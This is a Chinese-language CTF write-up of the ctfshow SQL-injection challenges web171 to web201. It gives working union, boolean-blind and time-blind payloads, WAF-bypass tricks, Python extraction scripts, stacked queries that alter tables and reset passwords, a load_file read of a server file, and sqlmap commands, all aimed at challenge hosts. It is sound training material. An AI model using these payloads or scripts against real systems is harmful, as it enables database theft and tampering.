web171 1 2 $sql = "select username,password from user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;
无过滤的字符型注入。 payload: 1'or'1'='1
滑到底找到flag。
web172 1 2 3 4 5 6 $sql = "select username,password from ctfshow_user2 where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;if ($row ->username!=='flag' ){ $ret ['msg' ]='查询成功' ; }
无过滤的字符型注入,添加了条件限制 username!='flag'
,要用联合查询注入。 已给出sql语句,不再用 0'union select 1,2 %23
或 1' order by 2 %23
确定列数。 payload: 0' union select 1,(select password from ctfshow_user2 where username='flag') %23
密码栏出flag。
web173 1 2 3 4 5 6 $sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;if (!preg_match ('/flag/i' , json_encode ($ret ))){ $ret ['msg' ]='查询成功' ; }
有过滤的字符型注入,添加了检查结果中是否匹配正则表达式 /flag/i
,若匹配则查询失败。 先用上一题的payload打一下试试 payload: 0' union select 1,2,(select password from ctfshow_user2 where username='flag') %23
密码栏出现的不是flag而是 not_here
,查表名 payload: 0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
结果ctfshow_user,ctfshow_user2,ctfshow_user3
查第一个表 payload: 0' union select 1,2,(select password from ctfshow_user where username='flag') %23
查询失败,返回结果触发了正则过滤。添加hex函数绕过正则过滤 payload: 0' union select 1,2,hex((select password from ctfshow_user where username='flag')) %23
结果解码后flag_not_here
查第三个表 payload: 0' union select 1,2,hex((select password from ctfshow_user3 where username='flag')) %23
密码栏hex解码出flag。
web174 1 2 3 4 5 6 $sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;if (!preg_match ('/flag/i' , json_encode ($ret ))){ $ret ['msg' ]='查询成功' ; }
有过滤的字符型注入,更改正则表达式 /flag|[0-9]/i
,返回结果中不能有数字。 hex,to_base64里面也有数字,根据给出的查询语句,构造 payload 写个布尔盲注脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestspayload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {},1))>{},'cluster','boom') %23" url = "http://168b1d40-414d-4b42-a7cd-1cb5fd00bfe6.challenge.ctf.show:8080/api/v4.php?id=" def test_chr (index: int , offset: int ): response = requests.get(url + payload.format (index, offset)) assert "cluster" in response.text or "boom" in response.text if "cluster" in response.text: return True elif "boom" in response.text: return False index = 1 flag = "" while True : start = 32 end = 127 while True : if abs (start-end) == 1 or start == end: break point = (start + end) // 2 if test_chr(index, point): start = point else : end = point if end < start: end = start flag += chr (end) print (f"[*] flag: {flag} " ) index += 1
脚本输出flag。
web175 1 2 3 4 5 6 $sql = "select username,password from ctfshow_user5 where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;if (!preg_match ('/[\x00-\x7f]/i' , json_encode ($ret ))){ $ret ['msg' ]='查询成功' ; }
无过滤字符型注入,更改正则表达式为 /[\x00-\x7f]/i
,过滤了 ascii 0-127,相当于没有回显,把上一题的脚本改为时间盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestspayload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user5 where username='flag'), {},1))>{},sleep(2),1) %23" url = "http://dc63c6a5-aa8b-4e21-a765-56eb704e4809.challenge.ctf.show:8080/api/v5.php?id=" def test_chr (index: int , offset: int ): try : response = requests.get(url + payload.format (index, offset), timeout=1 ) except : return True return False index = 1 flag = "" while True : start = 32 end = 127 while True : if abs (start-end) == 1 or start == end: break point = (start + end) // 2 if test_chr(index, point): start = point else : end = point if end < start: end = start flag += chr (end) print (f"[*] flag: {flag} " ) index += 1
脚本输出flag。
web176 1 2 3 4 5 6 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;function waf ($str ) { }
有过滤的字符型注入,还没弄清过滤了哪些字符,试了一个 payload 就出了 flag。 payload: 1'or'1'='1
这里其实是对 select 进行了过滤,大小写就能绕过。 滑到底找到flag。
web177 1 2 3 4 5 6 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;function waf ($str ) { }
有过滤的字符型注入,尝试后发现过滤了空格(%20
),用 %09
代替即可。
1 2 3 4 5 6 7 8 a = "1' union select 1,2,(select password from ctfshow_user where username = 'flag') %23" def bypass (s: str ): return s.replace(" " , "%09" ) print (bypass(a))
payload: 1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username%09=%09'flag')%09%23
web178 1 2 3 4 5 6 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;function waf ($str ) { }
有过滤的字符型注入,和上一题差不多,可能增加了什么过滤,但用上一题的 payload 还是能打通。 payload: 1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username%09=%09'flag')%09%23
web179 1 2 3 4 5 6 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;function waf ($str ) { }
有过滤的字符型注入,和上上题差不多,增加了对 %09 %0a %0b %0d
的过滤,%0c
可以用。
1 2 3 4 5 6 7 8 a = "1' union select 1,2,(select password from ctfshow_user where username = 'flag') %23" def bypass (s: str ): return s.replace(" " , "%0c" ) print (bypass(a))
payload: 1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c%23
web180 1 2 3 4 5 6 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;function waf ($str ) { }
有过滤的字符型注入,相比上题增加了对 #
(%23
) 的过滤,这里使用 --
(–后加个空格) 绕过。
1 2 3 4 5 6 7 8 a = "1' union select 1,2,(select password from ctfshow_user where username = 'flag') -- " def bypass (s: str ): return s.replace(" " , "%0c" ) print (bypass(a))
payload: 1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c
web181 1 2 3 4 5 6 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i' , $str ); }
有过滤的字符型注入,这次给出了过滤的函数 waf。 可知没有空格和 select 可以用,这里利用逻辑运算的优先级构造 and 语句,绕过查询语句前面的 username != flag
,且不能含有空格。 由前几题或爆破可得,flag 所在记录的 id 列的值为 26,故构造 payload: 0'or(id=26)and'1
and 的优先级比 or 要高,故注入后的语句变成了select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(id=26)and'1' limit 1;
前面满足条件 id=0
的记录不存在,故该语句可简化为select id,username,password from ctfshow_user where (0) or(id=26)and'1' limit 1;
先计算 and,再计算 or,最后得到满足 id=26
的记录,即 flag。
web182 1 2 3 4 5 6 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."' limit 1;" ;function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i' , $str ); }
有过滤的字符型注入,正则多过滤了一个 flag
,上一题的 payload 可以继续用,当然如果想还可以盲注(脱裤子放屁)。。。 payload1: 0'or(id=26)and'1
payload2: -1'or(id=26)and(if(ascii(mid(password,{},1))>{},sleep(1),1))and'1
web183 有过滤的表名位置注入,返回结果只有记录的总数。过滤函数
1 2 3 4 5 6 7 8 $sql = "select count(pass) from " .$_POST ['tableName' ].";" ;function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i' , $str ); } $user_count = 0 ;
过滤 ban 掉了 =
,使用 like 或 regexp 构造 payload 进行布尔盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import stringimport requestsurl = "http://ff8c3946-0975-4e96-b520-a7a95a9f5038.challenge.ctf.show:8080/select-waf.php" payload = "(ctfshow_user)where(pass)like(0x{})" true_flag = "$user_count = 1;" def make_payload (has: str ) -> str : return payload.format ((has + "%" ).encode().hex ()) def valid_payload (p: str ) -> bool : data = { "tableName" : p } response = requests.post(url, data=data) return true_flag in response.text flag = "ctf" while True : for c in "{}-" + string.digits + string.ascii_lowercase: pd = flag+c print (f"\r[*] trying {pd} " , end="" ) if valid_payload(make_payload(pd)): flag += c print (f"\r[*] flag: {flag} " ) break if flag[-1 ] == "}" : break
脚本输出 flag。
web184 1 2 3 4 5 6 7 8 $sql = "select count(*) from " .$_POST ['tableName' ].";" ;function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); } $user_count = 0 ;
有过滤表名位置注入,过滤相比上一题解禁了空格,增加了 where 和一些用不到的函数。
1 2 3 4 function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); }
RIGHT JOIN(右连接): 用于获取右表所有记录,即使左表没有对应匹配的记录。 例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 mysql> select * from persons; +----+----------+----------+ | id | username | position | +----+----------+----------+ | 1 | b477eRy | 1 | | 2 | p1 | 1 | | 3 | p2 | 3 | | 4 | p3 | 2 | | 5 | p4 | 2 | +----+----------+----------+ 5 rows in set (0.00 sec) mysql> select * from persons as a right join persons as b on b.position =3; +------+----------+----------+----+----------+----------+ | id | username | position | id | username | position | +------+----------+----------+----+----------+----------+ | 1 | b477eRy | 1 | 3 | p2 | 3 | | 2 | p1 | 1 | 3 | p2 | 3 | | 3 | p2 | 3 | 3 | p2 | 3 | | 4 | p3 | 2 | 3 | p2 | 3 | | 5 | p4 | 2 | 3 | p2 | 3 | | NULL | NULL | NULL | 1 | b477eRy | 1 | | NULL | NULL | NULL | 2 | p1 | 1 | | NULL | NULL | NULL | 4 | p3 | 2 | | NULL | NULL | NULL | 5 | p4 | 2 | +------+----------+----------+----+----------+----------+ 9 rows in set (0.00 sec)
条件有一条记录满足时,记录总数 = 总数 * 2 - 1
过滤 ban 了 where,可以用 right/left/inner join 代替
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import stringimport requestsurl = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})" true_flag = "$user_count = 43;" def make_payload (has: str ) -> str : return payload.format ((has).encode().hex ()) def valid_payload (p: str ) -> bool : data = { "tableName" : p } response = requests.post(url, data=data) return true_flag in response.text flag = "ctf" while True : for c in "{}-" + string.digits + string.ascii_lowercase: pd = flag+c print (f"\r[*] trying {pd} " , end="" ) if valid_payload(make_payload(pd)): flag += c print (f"\r[*] flag: {flag} " ) break if flag[-1 ] == "}" : break
脚本输出 flag。
web185 1 2 3 4 5 6 7 8 $sql = "select count(*) from " .$_POST ['tableName' ].";" ;function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); } $user_count = 0 ;
有过滤的表名位置注入,这次过滤了所有数字,需要自己构造数字,char 转换数组成字符串。
1 2 3 4 function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); }
expression
number
false
0
true
1
true+true
2
floor(pi())
3
ceil(pi())
4
floor(pi())+true
5
floor(pi())+floor(pi())
6
floor(pi())+ceil(pi())
7
ceil(pi())+ceil(pi())
8
floor(pi())*floor(pi())
9
floor(pi())*floor(pi())+true
10
写了半天发现正则还过滤了 *
,只能硬加出来了。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import stringimport requestsurl = "http://a65c7280-632a-4429-a6a9-a8250b2e223b.challenge.ctf.show:8080/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(char({}))" true_flag = "$user_count = 43;" def convert (num: int ) -> str : return '+' .join("true" for _ in range (num)) def make_payload (has: str ) -> str : return payload.format (',' .join([convert(ord (x)) for x in has])) def valid_payload (p: str ) -> bool : data = { "tableName" : p } response = requests.post(url, data=data) return true_flag in response.text flag = "ctf" while True : for c in "{}-" + string.digits + string.ascii_lowercase: pd = flag+c print (f"\r[*] trying {pd} " , end="" ) if valid_payload(make_payload(pd)): flag += c print (f"\r[*] flag: {flag} " ) break if flag[-1 ] == "}" : break
脚本输出 flag。
web186 有过滤的表名位置注入
1 2 3 4 5 6 7 8 $sql = "select count(*) from " .$_POST ['tableName' ].";" ;function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); } $user_count = 0 ;
过滤增加了几个运算符号,加号还是能用,上一题的脚本一把梭。
web187 MD5 编码后的字符型注入
1 2 3 4 5 6 7 8 9 10 11 $sql = "select count(*) from ctfshow_user where username = '$username ' and password= '$password '" ;$username = $_POST ['username' ];$password = md5 ($_POST ['password' ],true );if ($username !='admin' ){ $ret ['msg' ]='用户名不存在' ; die (json_encode ($ret )); }
username 只能为 admin,password 使用的 md5 函数第二个参数为 true,可用特殊 payload ffifdyop
绕过。
1 2 var_dump (md5 ("ffifdyop" , true ));
登录成功查看 response 找到 flag。
web188 有过滤的数字型注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $sql = "select pass from ctfshow_user where username = {$username} " ; if (preg_match ('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==intval ($password )){ $ret ['msg' ]='登陆成功' ; array_push ($ret ['data' ], array ('flag' =>$flag )); }
Why SELECT * FROM Table where username = 0 shows all rows? [username column is varchar] 当列的类型为 string 时,在查询限制条件中使用数字会将字符串转为数字进行比较,非数字开头的字符串会被转化为数字 0
故这里的 username 填写数字 0 就能查出所有记录。
php弱类型总结 在 php 中,当一个字符串当作一个数值来取值,其结果和类型如下: 如果该字符串没有包含 ‘.’,’e’,’E’ 并且其数值值在整形的范围之内该字符串被当作 int 来取值,其他所有情况下都被作为 float 来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
$row['pass']
为 string 类型,若第一个字符不是数字就会被转换为数字 0。尝试在 password 填写数字 0,成功绕过。 登录成功,response 内找到 flag。
web189 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $sql = "select pass from ctfshow_user where username = {$username} " ;if (preg_match ('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; }
有过滤的数字型注入,尝试上一题的解法不能绕过,password 不止第一个字符是数字,不能被转换为 0。 正则很多东西没有过滤,可以利用 username 筛选条件 0 和 1 的回显不同,读文件布尔盲注 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import requestsurl = "http://06d6c1a8-d2cf-4590-8b20-19fd83835dff.challenge.ctf.show:8080/api/" payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)" def find_flag_index () -> int : start = 0 end = 1000 while not (abs (start-end) == 1 or start == end): p = (start + end) // 2 data = { "username" : payload1.format (index=p), "password" : 0 } response = requests.post(url, data=data) if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text: start = p else : end = p if end < start: end = start return end print ("[*] finding flag index" )flag_index = find_flag_index() print (f"[!] flag index found: {flag_index} " )flag = "c" flag_index += 1 print ("[*] start to injection" )payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)" while flag[-1 ] != "}" : start = 32 end = 127 while not (abs (start-end) == 1 or start == end): p = (start + end) // 2 data = { "username" : payload2.format (flag_index, p), "password" : 0 } response = requests.post(url, data=data) if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text: start = p else : end = p if end < start: end = start flag += chr (end) print (f"[*] flag: {flag} " ) flag_index += 1
路径 /var/www/html
有点脑洞,题目描述只说了 “flag 在 api/index.php 文件中” 脚本输出 flag。
web190 1 2 3 4 5 6 7 8 9 10 11 12 13 14 $sql = "select pass from ctfshow_user where username = '{$username} '" ;if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; }
有过滤的字符型注入,没有给出过滤的正则表达式,在 username 处构造 payload 布尔盲注。 先查表名,再查列名,再用列名和表名构造 payload 查 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsurl = "http://e542cd49-fc4e-4ed0-a6cf-0ba1142d8c97.challenge.ctf.show:8080/api/" payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- " true_flag = "\\u5bc6\\u7801\\u9519\\u8bef" result = "" index = 1 while True : start = 32 end = 127 while not (abs (start-end) == 1 or start == end): p = (start + end) // 2 data = { "username" : payload.format (index, p), "password" : 0 } response = None while True : try : response = requests.post(url, data=data) except : continue break if true_flag in response.text: start = p else : end = p if end < start: end = start result += chr (end) print (f"[*] result: {result} " ) index += 1
web191 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $sql = "select pass from ctfshow_user where username = '{$username} '" ;if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
有过滤的字符型注入,给出了过滤正则表达式,发现禁用了 ascii,把脚本改成不用二分法而是暴力遍历每个字符的值。 (PS:事后发现不用 ascii 也可以直接用大于号比较字母的 ascii 大小,二分法还是能用的……)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import stringimport requestsurl = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/" payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where " \ "table_schema=database()),{},1)='{}',1,0) -- " true_flag = "\\u5bc6\\u7801\\u9519\\u8bef" def valid_char (index: int , c: chr ) -> bool : data = { "username" : payload.format (index, c), "password" : 0 } response = None while True : try : response = requests.post(url, data=data) except : continue break return true_flag in response.text result = "" index = 1 while True : for char in string.printable: print (f"\r[*] trying: {result + char} " , end="" ) if valid_char(index, char): result += char print (f"\r[*] result: {result} " ) index += 1 break
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsurl = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/" payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- " true_flag = "\\u5bc6\\u7801\\u9519\\u8bef" result = "" index = 1 while True : start = 32 end = 127 while not (abs (start-end) == 1 or start == end): p = (start + end) // 2 data = { "username" : payload.format (index, chr (p)), "password" : 0 } response = None while True : try : response = requests.post(url, data=data) except : continue break if true_flag in response.text: start = p else : end = p if end < start: end = start result += chr (end) print (f"[*] result: {result} " ) index += 1
web192 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $sql = "select pass from ctfshow_user where username = '{$username} '" ;if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii|ord|hex/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
有过滤的字符型注入,过滤正则表达式新增 ord hex
,对上一题的脚本没有影响,一把梭。
web193 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $sql = "select pass from ctfshow_user where username = '{$username} '" ;if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii|ord|hex|substr/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
有过滤的字符型注入,过滤正则表达式新增 substr
,改用 mid
即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsurl = "http://308c24b8-b4a7-4ad5-a2b9-42804d696718.challenge.ctf.show:8080/api/" payload = "0' or if(mid((select f1ag from ctfshow_flxg),{},1)>'{}',1,0) -- " true_flag = "\\u5bc6\\u7801\\u9519\\u8bef" result = "" index = 1 while True : start = 32 end = 127 while not (abs (start-end) == 1 or start == end): p = (start + end) // 2 data = { "username" : payload.format (index, chr (p)), "password" : 0 } response = None while True : try : response = requests.post(url, data=data) except : continue break if true_flag in response.text: start = p else : end = p if end < start: end = start result += chr (end).lower() print (f"[*] result: {result} " ) index += 1
web194 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $sql = "select pass from ctfshow_user where username = '{$username} '" ;if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii|ord|hex|substr|char|left|right|substring/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
有过滤的字符型注入,过滤正则表达式新增 char left right substring
,对上一题的脚本没有影响,一把梭。
web195 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $sql = "select pass from ctfshow_user where username = {$username} ;" ;if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
有过滤的数字型注入,没有过滤分号可堆叠注入,过滤正则表达式没有禁用 ; update set =
,利用堆叠注入更改密码为 10086。用户名处填写 payload: 0;update`ctfshow_user`set`pass`=0x3130303836
,没有用到空格。 登录得到 flag。
web196 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $sql = "select pass from ctfshow_user where username = {$username} ;" ;if (preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (strlen ($username )>16 ){ $ret ['msg' ]='用户名不能超过16个字符' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
有过滤的数字型注入,给出的过滤正则表达式变得不可信,明明有 select 但还是可以用的,利用堆叠注入绕过密码。 payload: 1;select(1)
密码 1
web197 1 2 3 4 5 6 7 8 9 10 11 12 $sql = "select pass from ctfshow_user where username = {$username} ;" ; if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
有过滤的数字型注入,没有过滤分号可堆叠注入。没有禁用 空格 alter table change column
,id 相比 password 具有递增规律更容易爆破,互换 id 和 password 列名爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsurl = "http://5b75f519-f196-427c-bbb1-6841984ef093.challenge.ctf.show:8080/api/" def alter_table (): data = { "username" : "0;alter table ctfshow_user change column pass tmp varchar(255);alter table ctfshow_user change " "column id pass varchar(255);alter table ctfshow_user change column tmp id varchar(255)" , "password" : 1 } _ = requests.post(url, data=data) success_flag = "\\u767b\\u9646\\u6210\\u529f" def brute_force_admin (): for i in range (300 ): data = { "username" : f"0x{'admin' .encode().hex ()} " , "password" : 1 } response = requests.post(url, data=data) if success_flag in response.text: print (f"[*] msg: {response.text} " ) return if __name__ == "__main__" : print ("[*] change column id to pass" ) alter_table() print ("[*] brute force admin password" ) brute_force_admin()
这题脚本搞了一阵才跑通,最后发现是“登陆”写成了“登录”,尴尬。。。
web198 1 2 3 4 5 6 7 8 9 10 11 12 $sql = "select pass from ctfshow_user where username = {$username} ;" ; if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
有过滤的数字型注入,没有过滤分号可堆叠注入,没有禁用 alter,上一题脚本一把梭。
web199 1 2 3 4 5 6 7 8 9 10 11 12 $sql = "select pass from ctfshow_user where username = {$username} ;" ; if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
有过滤的数字型注入,没有过滤分号可堆叠注入。 正则禁用了括号,password 改用 text 类型,id 改用 int 类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsurl = "http://3e88c41f-6b50-41ed-9002-e37799200c7c.challenge.ctf.show:8080/api/" def alter_table (): data = { "username" : "0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change " "column id pass int;alter table ctfshow_user change column tmp id text" , "password" : 1 } _ = requests.post(url, data=data) success_flag = "\\u767b\\u9646\\u6210\\u529f" def brute_force_admin (): for i in range (300 ): data = { "username" : f"0x{'admin' .encode().hex ()} " , "password" : 1 } response = requests.post(url, data=data) if success_flag in response.text: print (f"[*] msg: {response.text} " ) return if __name__ == "__main__" : print ("[*] change column id to pass" ) alter_table() print ("[*] brute force admin password" ) brute_force_admin()
web200 1 2 3 4 5 6 7 8 9 10 11 12 $sql = "select pass from ctfshow_user where username = {$username} ;" ; if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
有过滤的数字型注入,没有过滤分号可堆叠注入,上一题脚本一把梭。
web201 1 2 3 4 5 6 7 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."';" ; function waf ($str ) {}
sqlmap 工具使用练习。 题目提示 –user-agent 指定 user-agent,实际上不是 sqlmap 的 ua 还不让访问,测试 ua sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可用。 题目还指定使用 –referer 绕过 referer 检查,带着 sqlmap 的 ua 访问会提示“打击盗版人人有责,你都不是从ctf.show来的”,故指定 referer 为 ctf.show。
1 2 3 4 5 6 7 8 9 10 11 $ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id =1 --referer="ctf.show" $ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id =1 --referer="ctf.show" -dbs $ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id =1 --referer="ctf.show" -D "ctfshow_web" --tables $ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id =1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --dump
数据中找到 flag。
